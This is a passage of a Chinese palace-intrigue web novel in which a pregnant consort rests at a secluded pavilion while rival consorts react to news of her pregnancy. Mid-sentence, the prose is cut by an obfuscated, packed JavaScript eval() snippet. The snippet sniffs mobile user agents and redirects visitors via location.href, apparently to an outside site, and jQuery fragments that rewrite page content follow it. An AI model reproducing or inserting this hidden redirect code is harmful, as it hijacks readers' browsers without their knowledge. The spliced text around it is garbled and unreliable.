这一通下来,后背又湿了,重新换了衣裳后穗珠便出门了。
也只有上午这一个时辰还不是太热,她趁着没事就出去逛逛,这也进宫大半年了,还没怎么逛过。
走到门口时她看了一眼隔壁的永寿宫。
这谨嫔也是个狠人,现在除了偶尔会去慈宁宫坐坐,旁的好似比穗珠出门的时间都少。
穗珠想,若是没有莺姑,她可能这会儿还是高高在上的永寿宫妃娘娘吧。
麦苗撑了把油纸伞过来,“主子,这会儿还早,去荷花池看看吧?听说那里的荷花开得正好呢,大片大片的,一眼望去,粉的白的,早上和下午去最合适了。”
荷花池在慈宁宫前头,穗珠看了眼隔壁关地紧紧的宫门摇摇头,“以后再去吧。”
“那咱们去御花园里坐坐吧?”
穗珠却道:“去竹林走走吧。”
竹林位于翠云阁西面,说是竹林,其实只两排盆栽的金镶玉竹。
翠云阁为两层结构的阁楼,平日里只作远眺所用,所以少有人去,穗珠也是之前偶然得知的。
麦苗有些嘀咕,倒是没问主子怎会知道那里的,只絮絮叨叨地要回去拿条薄毯子,又要拿件披风,不过脸上却是做出一副恨铁不成钢的样子。
穗珠也不管她,她只想安安静静地一个人呆着,皇贵妃的事,她到现在都还心有余悸,加之她现在有了身孕,想安稳过日子罢了。
一行人收拾好了便往北走,翠云阁离启祥宫并不远,两刻钟就到了,给守门的太监打了声招呼,穗珠几人便进去了。
这里位于皇宫最北边,位子有些偏了,环境倒是很清幽,阁楼四周叠石成山,又堆放了好些花盆。
穗珠登上二楼向下望去,确实有几分景色。
麦苗和秋月赶紧将美人靠上下擦拭干净,然后又放了坐垫和靠垫,把小圆桌架起,起了炭炉,放上茶壶。
一通忙活下来,穗珠已经将西边靠墙角的两排金镶玉竹观赏完了。
日头上来了,但是这里背阴倒是还有些凉快,穗珠坐在美人靠上,闭上眼睛静静地感受着这片刻的安宁。
自从她清醒以来,这还是头一回完全放松下来,或许是太过安适,在麦苗给她搭上薄毯后,她就静静地睡了过去。
阁楼上只有茶壶发出“咕噜咕噜”的响声,麦苗和秋月互相交换了个眼色,也安静了下来。
翊坤宫里却不大太平。
宜贵人虽说已经降等,但是皇上看在太后的份儿上,并没有让她立刻搬出正殿,所以宜贵人仍然稳稳地住在正殿内。
她这会儿正坐在内室和郭络罗贵人说着话,“你说,戴佳嫔为何不来咱们翊坤宫了?”
郭络罗贵人摇摇头,“她本就不喜出门,这大热的天,想必只想在凉快些的屋子里呆着吧。”
郭络罗贵人看她蹙眉,又道:“你这帖子上写的时辰是未时,正是热的时候,宫里的主子,谁会这时辰出门呢?”
“我哪里是那意思呢?本是想请她一起用膳的呢。”宜嫔降为了贵人,但是看着倒不是很担忧的样子,风头一过,又想折腾起来了。
“就是今年皇上不带我去南苑骑马,这成日里呆在宫里,身上也没劲儿。”她叹了一口气,侧身靠在背枕上。
前几日求了皇上想一起去南苑骑马,皇上也没允,宜贵人憋得着实有些难受。
朝露敲门进来,一脸凝重,还不待两人开口,她就急切地说道:“贵人,启祥宫的戴佳嫔娘娘有喜了!”
外头消息都传开了,昨儿皇上狩猎回来,那些个猎物直接拉去了膳房,这刚要用晚膳了,都排在膳房的院子里候着呢。
朝露一进去就听见里头吵得沸沸扬扬的,她冷不丁听见这个消息,还以为自己听错了,赶紧又打听清楚,忙回来告诉贵人。
“什么?多久了?”宜贵人“唰”地站起来,起来的太快了,眼底还有些发黑,她猛地抓住朝露的手臂,修得长长的指甲剜得朝露手臂生疼。
朝露痛得“嘶”地倒抽了一口气,看见贵人难以置信的眼神,她忍住痛意道:“奴才还没打听到呢,只说戴佳嫔娘娘有喜了。”
郭络罗贵人虽也有些惊讶,但是很快她就调整好了心态,这也不是一件稀奇的事儿了,“也是一件喜事了,这宫里该是都知道了,咱们也要送些贺礼过去才是。”
她说罢就在脑子里想着该送些什么好了,戴佳嫔和她关系不错,两人也能说上话,才进宫半年多就有了身子,可以说运气极好的了。
她那正想着呢,就听见朝露喊着:“贵人?贵人?”
郭络罗贵人抬头一看,对面的宜贵人还掐着朝露的手臂,目光却不知盯向哪里。
郭络罗贵人稍一思索,起身把她的手扯开,“你先去摆膳吧。”
朝露松了口气:“是。”
待朝露退下后,看着宜贵人眼眸中的茫然和惊愕,郭络罗贵人叹了口气,皇上正值壮年,也不知往后这宫里的女人该有多少。
她用指甲掐了一下宜贵人的指腹,看她终于回过神来,眼眶却涨红:“皇上怎么可以?”
一句皇上却不知是怨恨还是慌张,郭络罗贵人确实不懂她的心思,都是身体健康的女人,为什么别人不能怀孕?
“好了,别哭了,”她擦了擦她眼角的泪,“这是喜事,快把眼泪收起来吧,若是皇上知晓了你这样,怕是不好了。”
皇上如今的阿哥手指都数的过来,若是戴佳嫔生下阿哥的话,宠爱怕是会更上一层楼了。
郭络罗贵人说着把人牵着又重新坐了回去。
宜贵人还需要冷静冷静。
同样的情况也发生在永和宫,德嫔带着四阿哥正在用晚膳,莺飞伺候在左右,春烟低着头跪在地上,一股脑飞速说完后又加了一句,“主子,乾清宫往启祥宫送了好些东西过去了,梁公公亲自送过去的。”
德嫔放下筷子,声音有些发紧,她深吸了一口气,“知道了,先下去吧。”
四阿哥已经会说会走了,跑起来时会两只手都举起来,摇摇晃晃的很是可爱。
德嫔这些日子过得很是舒心,贵妃死了,四阿哥也回到了自己身边。
皇上得了空也会过来看看自己,家里也松了一口气,就连太皇太后看在四阿哥的份儿上也会叫人送些东西来永和宫,一切都在往好的方向发展。
“额涅,吃饭。”四阿哥还未剃发,头发长得很是茂密,德嫔给他扎了个小揪揪,看着很可爱。
他脖子上系了一条围布,两只手正捧着一块骨头使劲地啃着,边啃还边看德嫔,看见德嫔转头看他,他小手一指,笑眯眯地说:“吃。”
他脸蛋圆嘟嘟的,一笑眼睛都眯起来了,真是太乖了!
这是她十月怀胎生的儿子,好不容易回到自己身边,德嫔弯下腰,亲了亲他的额<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567208|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
头,“好,额涅吃,咱们四阿哥也吃。”
莺飞松了一口气,赶紧又给德嫔舀了一碗莲子百合粥。
清热去火,加了砂糖,味儿甜又有一股清香,极为爽口。
四阿哥用完了膳,奶声奶气地叫了一声嬷嬷,旁边侍候着的奶嬷嬷就赶紧给他擦嘴。
德嫔坐在一旁,莲子粥也不用了,看他眯着眼睛噘嘴乖乖地让人擦干净,然后转过头朝她一伸手,“额涅抱。”德嫔便乐得什么都忘了。
她抱着四阿哥往外走去,声音已经恢复了以往的柔和。
“去库房里找找,把那座送子木雕包好送去启祥宫,还有,下午该送去乾清宫的决明子菊花金银茶也别忘了。”
“是,主子。”莺飞站在德嫔身后给春烟打了个眼色,两人同时点点头。
“额涅,玩。”
“好,去看蚂蚁好不好?”四阿哥好像轻而易举的便同德嫔亲近起来。
虽才抱来时他还有些不适应,夜里也会哭闹,但是德嫔花了心思,将他悄悄抱在自己床上哄他,平日里吃饭玩闹都带着他,时间久了,四阿哥也就不要嬷嬷抱了。
后宫里的主子什么反应,穗珠自是不知,她还在翠云阁里优哉游哉地歇息呢,直到秋雨过来。
“主子,乾清宫的梁公公领了人送了好多东西过来呢,不过听说您没有在启祥宫,便说不必劳扰您了,随后叫人放下东西就离开了。”
“是吗?”穗珠思索片刻,也快到用膳的时辰了,“行吧,东西收拾好,咱们就回去吧。”
这一觉睡得也太舒服了,穗珠站起来动了动肩膀,她的肚子已经有些显怀了,夏日的衣裳轻薄,明眼人一看就知道有三个月了。
这不,刚下轿子,就碰到了刚出来的延禧宫宫人和钟粹宫宫人。
“奴才延禧宫宫人碧荷、碧玉,给戴佳嫔娘娘请安,娘娘吉祥。”
“奴才钟粹宫宫人小春、小秋,给戴佳嫔娘娘请安,娘娘吉祥。”
“起来吧,你们这是干什么来的?”穗珠摆摆手让人都起来,一群人站在启祥宫门口,看着热热闹闹的样子。
“回戴佳嫔娘娘的话,听说您有喜,荣嫔娘娘便立刻令奴才们过来给您送贺礼的。”
“是呢,奴才们也是奉惠嫔娘娘的命来给您送贺礼的。”
穗珠略微迟疑,看来皇上把消息放出去了,她转头然后看向麦苗。
麦苗果然能做启祥宫的大宫女,立刻走了进去,这几人都是惠嫔和荣嫔身边的大宫女,穗珠眼里满是笑意,让她们站到避阳处。
“辛苦你们了,这大热的天来回走,回去可得用些薄荷水去去暑气。”
几人忙摆手,道是不辛苦,穗珠又问了问惠嫔和荣嫔最近怎么样?几人一一答了,刚说完,麦苗就端着木盘出来了。
“主子。”
穗珠点点头,这些荷包是新雨几人专门做的,半个掌心大的云纹腰圆收口荷包,上头用湖蓝色的细线绣了小小的“平安”二字,她笑着说道:“一人一个,也算是辛苦你们这一趟差事了。”
这荷包里装了两颗金瓜子,穗珠早就准备好了。
几人也是大宫女了,大大方方地接过来,“多谢娘娘,奴才们也扯了大旗给您道喜了。”
“行了,回去吧。”
待启祥宫大门又重新关上,隔壁永寿宫才缓缓打开大门,是多日不见的谨嫔。